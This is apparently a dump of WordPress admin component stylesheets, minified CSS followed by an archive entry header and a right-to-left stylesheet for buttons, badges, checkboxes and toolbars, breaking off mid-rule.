.components-snackbar__content-with-icon{padding-left:24px;position:relative}.components-snackbar .components-snackbar__icon{left:-8px;position:absolute;top:-2.9px}.components-snackbar .components-snackbar__dismiss-button{cursor:pointer;margin-left:24px}.components-snackbar__action.components-button{color:#fff;flex-shrink:0;margin-left:32px}.components-snackbar__action.components-button:focus{box-shadow:none;outline:1px dotted #fff}.components-snackbar__action.components-button:hover{color:currentColor;text-decoration:none}.components-snackbar__content{align-items:baseline;display:flex;justify-content:space-between;line-height:1.4}.components-snackbar-list{box-sizing:border-box;pointer-events:none;position:absolute;width:100%;z-index:100000}.components-snackbar-list__notice-container{padding-top:8px;position:relative}.components-tab-panel__tabs{align-items:stretch;display:flex;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px!important;margin-left:0;padding:3px 16px;position:relative}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-tab-panel__tabs-item:after{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0}@media not (prefers-reduced-motion){.components-tab-panel__tabs-item:after{transition:all .1s linear}}.components-tab-panel__tabs-item.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid #0000;outline-offset:-1px}.components-tab-panel__tabs-item:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 #0000;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px}@media not (prefers-reduced-motion){.components-tab-panel__tabs-item:before{transition:all .1s linear}}.components-tab-panel__tabs-item:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-tab-panel__tab-content:focus{box-shadow:none;outline:none}.components-tab-panel__tab-content:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:0}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin:0;padding:6px 8px;width:100%}@media not (prefers-reduced-motion){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:#1e1e1e9e}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{color:#1e1e1e9e}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:#1e1e1e9e}.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{height:40px;padding-left:12px;padding-right:12px}.components-text-control__input[type=email],.components-text-control__input[type=url]{direction:ltr}.components-tip{color:#757575;display:flex}.components-tip svg{align-self:center;fill:#f0b849;flex-shrink:0;margin-right:16px}.components-tip p{margin:0}.components-toggle-control__label{line-height:16px}.components-toggle-control__label:not(.is-disabled){cursor:pointer}.components-toggle-control__help{display:inline-block;margin-inline-start:40px}.components-accessible-toolbar{border:1px solid #1e1e1e;border-radius:2px;display:inline-flex;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-right:none}.components-accessible-toolbar.is-unstyled{border:none}.components-accessible-toolbar.is-unstyled>.components-toolbar-group{border-right:none}.components-accessible-toolbar[aria-orientation=vertical],.components-toolbar[aria-orientation=vertical]{align-items:center;display:flex;flex-direction:column}.components-accessible-toolbar .components-button,.components-toolbar .components-button{height:48px;padding-left:16px;padding-right:16px;position:relative;z-index:1}.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{margin-left:auto;margin-right:auto;position:relative}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:#0000}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{min-width:48px;padding-left:8px;padding-right:8px}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 10px 5px 0}.components-toolbar__control.components-button[data-subscript]:after{bottom:10px;content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;line-height:12px;position:absolute;right:8px}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{background-color:#fff;border-right:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0;min-height:48px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{justify-content:center;min-width:36px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{min-width:24px}.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{left:2px;right:2px}.components-toolbar{background-color:#fff;border:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;margin:0;min-height:48px}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:flex;margin:0}div.components-toolbar>div+div.has-left-divider{margin-left:6px;overflow:visible;position:relative}div.components-toolbar>div+div.has-left-divider:before{background-color:#ddd;box-sizing:initial;content:"";display:inline-block;height:20px;left:-3px;position:absolute;top:8px;width:1px}.components-tooltip{background:#000;border-radius:2px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;color:#f0f0f0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4;padding:4px 8px;text-align:center;z-index:1000002}.components-tooltip__shortcut{margin-left:8px}PK1Xd[L8��t�tdist/components/style-rtl.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

@media not (prefers-reduced-motion){
  .components-animate__appear{
    animation:components-animate__appear-animation .1s cubic-bezier(0, 0, .2, 1) 0s;
    animation-fill-mode:forwards;
  }
}
.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{
  transform-origin:top right;
}
.components-animate__appear.is-from-top.is-from-right{
  transform-origin:top left;
}
.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{
  transform-origin:bottom right;
}
.components-animate__appear.is-from-bottom.is-from-right{
  transform-origin:bottom left;
}

@keyframes components-animate__appear-animation{
  0%{
    transform:translateY(-2em) scaleY(0) scaleX(0);
  }
  to{
    transform:translateY(0) scaleY(1) scaleX(1);
  }
}
@media not (prefers-reduced-motion){
  .components-animate__slide-in{
    animation:components-animate__slide-in-animation .1s cubic-bezier(0, 0, .2, 1);
    animation-fill-mode:forwards;
  }
  .components-animate__slide-in.is-from-left{
    transform:translateX(-100%);
  }
  .components-animate__slide-in.is-from-right{
    transform:translateX(100%);
  }
}

@keyframes components-animate__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
@media not (prefers-reduced-motion){
  .components-animate__loading{
    animation:components-animate__loading 1.6s ease-in-out infinite;
  }
}

@keyframes components-animate__loading{
  0%{
    opacity:.5;
  }
  50%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.components-autocomplete__popover .components-popover__content{
  min-width:200px;
  padding:8px;
}

.components-autocomplete__result.components-button{
  display:flex;
  height:auto;
  min-height:36px;
  text-align:right;
  width:100%;
}
.components-autocomplete__result.components-button:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.components-badge{
  align-items:center;
  background-color:color-mix(in srgb, #fff 90%, var(--base-color));
  border-radius:2px;
  box-sizing:border-box;
  color:color-mix(in srgb, #000 50%, var(--base-color));
  display:inline-flex;
  font-size:12px;
  font-weight:400;
  gap:2px;
  line-height:20px;
  max-width:100%;
  min-height:24px;
  padding:0 8px;
}
.components-badge *,.components-badge :after,.components-badge :before{
  box-sizing:inherit;
}
.components-badge:where(.is-default){
  background-color:#f0f0f0;
  color:#2f2f2f;
}
.components-badge.has-icon{
  padding-inline-start:4px;
}
.components-badge.is-info{
  --base-color:#3858e9;
}
.components-badge.is-warning{
  --base-color:#f0b849;
}
.components-badge.is-error{
  --base-color:#cc1818;
}
.components-badge.is-success{
  --base-color:#4ab866;
}

.components-badge__icon{
  flex-shrink:0;
}

.components-badge__content{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-button-group{
  display:inline-block;
}
.components-button-group .components-button{
  border-radius:0;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:inline-flex;
}
.components-button-group .components-button+.components-button{
  margin-right:-1px;
}
.components-button-group .components-button:first-child{
  border-radius:0 2px 2px 0;
}
.components-button-group .components-button:last-child{
  border-radius:2px 0 0 2px;
}
.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{
  position:relative;
  z-index:1;
}
.components-button-group .components-button.is-primary{
  box-shadow:inset 0 0 0 1px #1e1e1e;
}
.components-button{
  align-items:center;
  -webkit-appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  box-sizing:border-box;
  color:var(--wp-components-color-foreground, #1e1e1e);
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:13px;
  height:36px;
  margin:0;
  padding:6px 12px;
  text-decoration:none;
}
@media not (prefers-reduced-motion){
  .components-button{
    transition:box-shadow .1s linear;
  }
}
.components-button.is-next-40px-default-size{
  height:40px;
}
.components-button:hover:not(:disabled,[aria-disabled=true]),.components-button[aria-expanded=true]{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:3px solid #0000;
}
.components-button.is-primary{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
  outline:1px solid #0000;
  text-decoration:none;
  text-shadow:none;
  white-space:nowrap;
}
.components-button.is-primary:hover:not(:disabled){
  background:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:active:not(:disabled){
  background:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  border-color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff6;
  outline:none;
}
.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(45deg, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 70%, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 70%);
  background-size:100px 100%;
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-secondary,.components-button.is-tertiary{
  outline:1px solid #0000;
}
.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){
  box-shadow:none;
}
.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{
  background:#0000;
  color:#949494;
  transform:none;
}
.components-button.is-secondary{
  background:#0000;
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)), 0 0 0 currentColor;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:1px solid #0000;
  white-space:nowrap;
}
.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true],.is-pressed){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 4%, #0000);
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
}
.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){
  box-shadow:inset 0 0 0 1px #ddd;
}
.components-button.is-secondary:focus:not(:disabled){
  box-shadow:0 0 0 currentColor inset, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-tertiary{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  white-space:nowrap;
}
.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true],.is-pressed){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 4%, #0000);
  color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
}
.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:color-mix(in srgb, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 8%, #0000);
}
p+.components-button.is-tertiary{
  margin-right:-6px;
}
.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){
  box-shadow:none;
  outline:none;
}
.components-button.is-destructive{
  --wp-components-color-accent:#cc1818;
  --wp-components-color-accent-darker-10:#9e1313;
  --wp-components-color-accent-darker-20:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){
  color:#cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled,[aria-disabled=true]){
  color:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled,[aria-disabled=true]){
  background:#ccc;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):disabled,.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link)[aria-disabled=true]{
  color:#949494;
}
.components-button.is-destructive.is-secondary:hover:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:hover:not(:disabled,[aria-disabled=true]){
  background:#cc18180a;
}
.components-button.is-destructive.is-secondary:active:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:#cc181814;
}
.components-button.is-link{
  background:none;
  border:0;
  border-radius:0;
  box-shadow:none;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  height:auto;
  margin:0;
  outline:none;
  padding:0;
  text-align:right;
  text-decoration:underline;
}
@media not (prefers-reduced-motion){
  .components-button.is-link{
    transition-duration:.05s;
    transition-property:border, background, color;
    transition-timing-function:ease-in-out;
  }
}
.components-button.is-link:focus{
  border-radius:2px;
}
.components-button.is-link:disabled,.components-button.is-link[aria-disabled=true]{
  color:#949494;
}
.components-button:not(:disabled,[aria-disabled=true]):active{
  color:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button:disabled,.components-button[aria-disabled=true]{
  color:#949494;
  cursor:default;
}
.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(45deg, #fafafa 33%, #e0e0e0 0, #e0e0e0 70%, #fafafa 0);
  background-size:100px 100%;
}
@media not (prefers-reduced-motion){
  .components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
    animation:components-button__busy-animation 2.5s linear infinite;
  }
}
.components-button.is-compact{
  height:32px;
}
.components-button.is-compact.has-icon:not(.has-text){
  min-width:32px;
  padding:0;
  width:32px;
}
.components-button.is-small{
  font-size:11px;
  height:24px;
  line-height:22px;
  padding:0 8px;
}
.components-button.is-small.has-icon:not(.has-text){
  min-width:24px;
  padding:0;
  width:24px;
}
.components-button.has-icon{
  justify-content:center;
  min-width:36px;
  padding:6px;
}
.components-button.has-icon.is-next-40px-default-size{
  min-width:40px;
}
.components-button.has-icon .dashicon{
  align-items:center;
  box-sizing:initial;
  display:inline-flex;
  justify-content:center;
  padding:2px;
}
.components-button.has-icon.has-text{
  gap:4px;
  justify-content:start;
  padding-left:12px;
  padding-right:8px;
}
.components-button.is-pressed,.components-button.is-pressed:hover{
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:hover:not(:disabled,[aria-disabled=true]),.components-button.is-pressed:not(:disabled,[aria-disabled=true]){
  background:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button.is-pressed:disabled,.components-button.is-pressed[aria-disabled=true]{
  color:#949494;
}
.components-button.is-pressed:disabled:not(.is-primary):not(.is-secondary):not(.is-tertiary),.components-button.is-pressed[aria-disabled=true]:not(.is-primary):not(.is-secondary):not(.is-tertiary){
  background:#949494;
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-button svg{
  fill:currentColor;
  outline:none;
}
@media (forced-colors:active){
  .components-button svg{
    fill:CanvasText;
  }
}
.components-button .components-visually-hidden{
  height:auto;
}

@keyframes components-button__busy-animation{
  0%{
    background-position:right 200px top 0;
  }
}
.components-checkbox-control{
  --checkbox-input-size:24px;
  --checkbox-input-margin:8px;
}
@media (min-width:600px){
  .components-checkbox-control{
    --checkbox-input-size:16px;
  }
}

.components-checkbox-control__label{
  cursor:pointer;
  line-height:var(--checkbox-input-size);
}

.components-checkbox-control__input[type=checkbox]{
  appearance:none;
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  clear:none;
  color:#1e1e1e;
  cursor:pointer;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:var(--checkbox-input-size);
  line-height:normal;
  line-height:0;
  margin:0 0 0 4px;
  outline:0;
  padding:6px 8px;
  padding:0 !important;
  text-align:center;
  transition:none;
  vertical-align:top;
  width:var(--checkbox-input-size);
}
@media not (prefers-reduced-motion){
  .components-checkbox-control__input[type=checkbox]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    font-size:13px;
    line-height:normal;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  color:#fff;
  margin:-3px -5px;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    margin:-4px -5px 0 0;
  }
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  content:"\f460";
  display:inline-block;
  float:right;
  font:normal 30px/1 dashicons;
  vertical-align:middle;
  width:16px;
  speak:none;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    float:none;
    font-size:21px;
  }
}
.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{
  background:#f0f0f0;
  border-color:#ddd;
  cursor:default;
  opacity:1;
}
@media not (prefers-reduced-motion){
  .components-checkbox-control__input[type=checkbox]{
    transition:border-color .1s ease-in-out;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before{
  content:none;
}

.components-checkbox-control__input-container{
  aspect-ratio:1;
  display:inline-block;
  flex-shrink:0;
  line-height:1;
  margin-left:var(--checkbox-input-margin);
  position:relative;
  vertical-align:middle;
  width:var(--checkbox-input-size);
}

svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
  --checkmark-size:var(--checkbox-input-size);
  fill:#fff;
  cursor:pointer;
  height:var(--checkmark-size);
  pointer-events:none;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  -webkit-user-select:none;
          user-select:none;
  width:var(--checkmark-size);
}
@media (min-width:600px){
  svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
    --checkmark-size:calc(var(--checkbox-input-size) + 4px);
  }
}

.components-checkbox-control__help{
  display:inline-block;
